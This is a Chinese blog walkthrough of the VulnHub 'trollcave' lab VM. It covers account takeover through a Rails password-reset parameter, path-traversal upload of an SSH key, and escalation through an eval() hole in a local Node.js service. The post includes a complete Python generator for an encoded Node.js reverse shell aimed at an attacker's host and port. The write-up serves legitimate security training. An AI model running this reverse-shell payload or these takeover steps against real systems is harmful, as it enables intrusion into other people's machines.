Facebook Twitter Linkedin YouTube VK Xing

靶机渗透(trollcave)

介绍

https://www.vulnhub.com/entry/trollcave-12,230/

第一次打到ruby的站…几乎完全不会..简单记录下吧

ip和端口

靶机ip:192.168.1.101
端口情况

web站点踩点

进去发现就是个普通的站点

注册功能关闭了,也没啥功能,dirb扫一下

进去一看发现并没有什么用,都需要登录…
注意到文章

然而去访问并没有东西

尝试用各种admin的名字去用hydra爆破ssh,但是失败了
看了wp才知道ruby的resetpassword,参考ruby on rails的教程
https://www.railstutorial.org/book/password_reset#sec-password_resets_resource

那么去访问一下

发现重置密码页面,然而并不能重置superadmin的密码,尝试重置普通用户的密码

发现后面有个name参数,我们改成King,再去重置

成功进入管理页面

getshell

进去之后发现有个文件上传的页面,但是因为admin关闭并不能使用,我们去打开一下

要是php到这里其实就很简单了,直接上传一句话就结束了,但是ruby并不是的…这里是用传ssh密钥的方式..传文件可以目录穿越,但是我们怎么知道往哪传呢?登录之后我们可以看到更多文章,比如

发现存在rails用户和coderguys用户,其实还有很多,但是尝试之后发现只有rails的用户目录有.ssh,那么写入ssh密钥,拿到shell

登录

提权

首先还是看/etc/passwd

去用户目录看下,在king的目录下看到有个calc

发现是个本地的nodejs,curl一下看下

然后审计源码,发现calc里面存在任意代码执行

function calc(pathname, request, query, response)
{
    sum = query.split('=')[1];
    console.log(sum)
    response.writeHead(200, {"Content-Type": "text/plain"});

    response.end(eval(sum).toString());
}

用到msf的代码加上魔改别人的代码写一个payload生成器

#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys

if len(sys.argv) != 3:
    print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
    sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
    """String.CharCode"""
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(%s, "%s", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();1+1;''' % (PORT, IP_ADDR)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)

注意后面带上1+1;让服务器有返回

然后拿到shell

然后sudo -l发现可以执行任意代码,直接拿到root

参考wp:https://hackso.me/trollcave-1.2-walkthrough/

Leave a Reply

Your email address will not be published.Required fields are marked *

%d 博主赞过: